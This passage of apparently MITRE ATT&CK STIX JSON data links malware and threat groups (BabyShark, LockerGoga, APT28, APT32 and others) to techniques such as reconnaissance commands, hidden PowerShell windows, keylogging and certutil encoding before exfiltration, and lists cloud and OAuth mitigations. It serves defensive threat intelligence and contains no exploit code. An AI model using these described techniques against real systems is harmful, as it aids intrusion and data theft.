                    "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has cleaned up all files associated with the secondary payload execution.(Citation: Unit42 BabyShark Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--95dbd3ec-820c-47af-9734-78c39b092bc4",
            "type": "relationship",
            "modified": "2019-10-07T19:05:49.015Z",
            "created": "2019-10-07T19:05:49.015Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Apr 2019",
                    "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/",
                    "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has a [PowerShell](https://attack.mitre.org/techniques/T1059/001)-based remote administration ability that can implement a PowerShell or C# based keylogger.(Citation: Unit42 BabyShark Apr 2019)",
            "relationship_type": "uses",
            "id": "relationship--3a0c8e81-6110-4cf3-a965-b700e00fd66c",
            "type": "relationship",
            "modified": "2021-02-09T14:02:09.331Z",
            "created": "2019-10-07T19:05:49.030Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/",
                    "source_name": "Unit42 BabyShark Apr 2019"
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has downloaded additional files from the C2.(Citation: Unit42 BabyShark Apr 2019)(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--18d97b33-8ad5-426e-a390-72bea109bee0",
            "type": "relationship",
            "modified": "2020-11-06T19:54:38.579Z",
            "created": "2019-10-07T19:05:49.045Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used cmd.exe to execute commands.(Citation: Unit42 BabyShark Feb 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--fc9a56ec-ef5f-4e45-b004-fe395d6b6d3f",
            "type": "relationship",
            "modified": "2020-03-17T19:02:42.036Z",
            "created": "2019-10-07T19:05:49.060Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the <code>ver</code> command.(Citation: Unit42 BabyShark Feb 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--906699ff-a10f-4527-9173-326965cc51a2",
            "type": "relationship",
            "modified": "2019-10-07T19:05:49.062Z",
            "created": "2019-10-07T19:05:49.062Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the <code>whoami</code> command.(Citation: Unit42 BabyShark Feb 2019)",
            "relationship_type": "uses",
            "id": "relationship--09fbfb74-459a-441b-9e07-96c146a26be3",
            "type": "relationship",
            "modified": "2019-10-07T19:05:49.065Z",
            "created": "2019-10-07T19:05:49.065Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has encoded data using [certutil](https://attack.mitre.org/software/S0160) before exfiltration.(Citation: Unit42 BabyShark Feb 2019)",
            "relationship_type": "uses",
            "id": "relationship--94e051ad-2f6d-4322-a854-6ee1944a8904",
            "type": "relationship",
            "modified": "2020-03-20T18:06:10.989Z",
            "created": "2019-10-07T19:05:49.067Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the <code>tasklist</code> command.(Citation: Unit42 BabyShark Feb 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--54a384e5-17c8-422d-b199-18e7945cb7d6",
            "type": "relationship",
            "modified": "2019-10-07T19:05:49.069Z",
            "created": "2019-10-07T19:05:49.069Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "source_name": "Unit42 BabyShark Feb 2019"
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.(Citation: Unit42 BabyShark Feb 2019)(Citation: CISA AA20-301A Kimsuky)",
            "relationship_type": "uses",
            "id": "relationship--ab322e5c-dfd2-45dd-bee1-59aec9d1d840",
            "type": "relationship",
            "modified": "2020-11-04T16:54:47.870Z",
            "created": "2019-10-07T19:05:49.072Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the <code>reg query</code> command for <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default</code>.(Citation: Unit42 BabyShark Feb 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--2f28f6e0-795f-4e0d-8459-514a42a96ce9",
            "type": "relationship",
            "modified": "2019-10-07T19:05:49.074Z",
            "created": "2019-10-07T19:05:49.074Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the <code>ipconfig /all</code> command.(Citation: Unit42 BabyShark Feb 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--cef53316-353b-48f8-bce4-1d95f3ff843e",
            "type": "relationship",
            "modified": "2019-10-07T19:05:49.099Z",
            "created": "2019-10-07T19:05:49.099Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "Unit42 BabyShark Feb 2019",
                    "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/",
                    "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."
                }
            ],
            "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used <code>dir</code> to search for \"programfiles\" and \"appdata\".(Citation: Unit42 BabyShark Feb 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--5c738353-868a-4e4d-8628-e1d14e502980",
            "type": "relationship",
            "modified": "2019-10-07T19:05:49.101Z",
            "created": "2019-10-07T19:05:49.101Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "source_name": "FireEye Operation Double Tap",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html"
                }
            ],
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to use <code>-WindowStyle Hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: FireEye Operation Double Tap)",
            "relationship_type": "uses",
            "id": "relationship--1c1296da-4504-4f00-b16a-8ecc29820ea9",
            "type": "relationship",
            "modified": "2021-02-09T13:52:16.780Z",
            "created": "2019-10-07T22:15:43.675Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
            "relationship_type": "mitigates",
            "description": "Administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.",
            "id": "relationship--4b5948b4-eba5-4af6-93d1-71b109167f62",
            "type": "relationship",
            "modified": "2021-04-14T17:56:17.499Z",
            "created": "2019-10-08T19:55:33.729Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317",
            "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
            "relationship_type": "mitigates",
            "description": "A Cloud Access Security Broker (CASB) can be used to set usage policies and manage user permissions on cloud applications to prevent access to application access tokens.",
            "id": "relationship--d3e90e1c-b669-4909-ae44-75bfe8bf89e8",
            "type": "relationship",
            "modified": "2021-04-14T17:56:17.500Z",
            "created": "2019-10-08T19:55:33.750Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96",
            "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
            "relationship_type": "mitigates",
            "description": "Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications.\n\nAzure offers a couple of enterprise policy settings in the Azure Management Portal that may help:\n\n\"Users -> User settings -> App registrations: Users can register applications\" can be set to \"no\" to prevent users from registering new applications. \n\"Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf\" can be set to \"no\" to prevent users from consenting to allow third-party multi-tenant applications",
            "id": "relationship--25407fd4-3940-4446-9c17-6eebe902dbdf",
            "type": "relationship",
            "modified": "2021-04-14T17:56:17.521Z",
            "created": "2019-10-08T19:55:33.752Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48",
            "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0",
            "external_references": [
                {
                    "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.",
                    "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/",
                    "source_name": "CarbonBlack LockerGoga 2019"
                },
                {
                    "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/",
                    "source_name": "Unit42 LockerGoga 2019"
                }
            ],
            "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed changing account passwords and logging off current users.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)",
            "relationship_type": "uses",
            "id": "relationship--57385cb2-e3ef-4006-b465-a5a48632d02b",
            "type": "relationship",
            "modified": "2019-10-10T12:16:50.286Z",
            "created": "2019-10-09T19:24:01.724Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04",
            "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
            "external_references": [
                {
                    "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf",
                    "source_name": "ESET Machete July 2019"
                }
            ],
            "description": "[Machete](https://attack.mitre.org/software/S0409) has scanned and looked for cryptographic keys and certificate file extensions.(Citation: ESET Machete July 2019) ",
            "relationship_type": "uses",
            "id": "relationship--14adcf50-912a-48d5-87f6-72d2273039aa",
            "type": "relationship",
            "modified": "2019-10-10T12:39:13.784Z",
            "created": "2019-10-10T12:39:13.784Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "relationship_type": "mitigates",
            "description": "Ensure that applications do not store sensitive data or credentials insecurely. (e.g. plaintext credentials in code, published credentials in repositories, or credentials in public cloud storage).",
            "id": "relationship--c8acdf40-8237-487f-8255-91afa327705d",
            "type": "relationship",
            "modified": "2021-04-12T18:27:52.679Z",
            "created": "2019-10-10T18:46:45.553Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067",
            "target_ref": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761",
            "relationship_type": "mitigates",
            "description": "Cloud service providers may allow customers to deactivate unused regions.(Citation: CloudSploit - Unused AWS Regions)",
            "id": "relationship--70add783-c72c-4048-ba94-5e1e79c2d679",
            "external_references": [
                {
                    "source_name": "CloudSploit - Unused AWS Regions",
                    "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc",
                    "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019."
                }
            ],
            "type": "relationship",
            "modified": "2021-04-22T16:46:43.986Z",
            "created": "2019-10-10T19:17:52.805Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d",
            "target_ref": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f",
            "relationship_type": "mitigates",
            "description": "Limit access to the Instance Metadata API using a host-based firewall such as iptables.(Citation: RedLock Instance Metadata API 2018) A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.",
            "id": "relationship--b3fc3626-b507-42b6-9930-b7662d01bd4c",
            "external_references": [
                {
                    "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
                    "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse",
                    "source_name": "RedLock Instance Metadata API 2018"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-11T18:48:48.751Z",
            "created": "2019-10-10T20:24:44.964Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/",
                    "description": "Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.",
                    "source_name": "McAfee APT28 DDE1 Nov 2017"
                }
            ],
            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows.(Citation: Palo Alto Sofacy 06-2018) (Citation: McAfee APT28 DDE1 Nov 2017)",
            "relationship_type": "uses",
            "id": "relationship--27e91ac8-9463-4a7a-8f1f-89abeba1b02d",
            "type": "relationship",
            "modified": "2021-02-09T13:46:50.756Z",
            "created": "2019-10-10T21:54:00.462Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "source_name": "FireEye APT32 May 2017"
                },
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[APT32](https://attack.mitre.org/groups/G0050) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: FireEye APT32 May 2017) (Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--db8530c2-ce41-4943-8a17-91502187fd06",
            "type": "relationship",
            "modified": "2021-02-09T13:55:29.574Z",
            "created": "2019-10-10T21:57:37.023Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "source_name": "FireEye APT19",
                    "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html"
                }
            ],
            "description": "[APT19](https://attack.mitre.org/groups/G0073) used <code>-W Hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: FireEye APT19)",
            "relationship_type": "uses",
            "id": "relationship--2e6e8722-d09d-402e-9ea8-ccf8412339d0",
            "type": "relationship",
            "modified": "2021-02-09T13:56:35.269Z",
            "created": "2019-10-10T22:00:27.892Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "source_name": "ClearSky Wilted Tulip July 2017"
                }
            ],
            "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used <code>-w hidden</code> and <code>-windowstyle hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: ClearSky Wilted Tulip July 2017)",
            "relationship_type": "uses",
            "id": "relationship--948a5d37-65d1-403f-99bb-0f08186aeebc",
            "type": "relationship",
            "modified": "2021-02-09T13:50:21.135Z",
            "created": "2019-10-10T22:17:29.523Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "source_name": "Unit 42 DarkHydrus July 2018",
                    "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"
                }
            ],
            "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has used <code>-WindowStyle Hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows. (Citation: Unit 42 DarkHydrus July 2018)",
            "relationship_type": "uses",
            "id": "relationship--ab3cf933-236f-4255-9ca6-24826f9bbe99",
            "type": "relationship",
            "modified": "2021-02-09T13:51:14.503Z",
            "created": "2019-10-10T22:19:43.951Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "source_name": "Alperovitch 2014"
                }
            ],
            "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used <code>-w hidden</code> to conceal [PowerShell](https://attack.mitre.org/techniques/T1059/001) windows by setting the WindowStyle parameter to hidden. (Citation: Alperovitch 2014)",
            "relationship_type": "uses",
            "id": "relationship--673bf715-0ccc-48fd-93b5-570b417cc41a",
            "type": "relationship",
            "modified": "2021-02-09T13:49:09.760Z",
            "created": "2019-10-11T03:20:40.155Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "source_name": "Unit 42 Gorgon Group Aug 2018"
                }
            ],
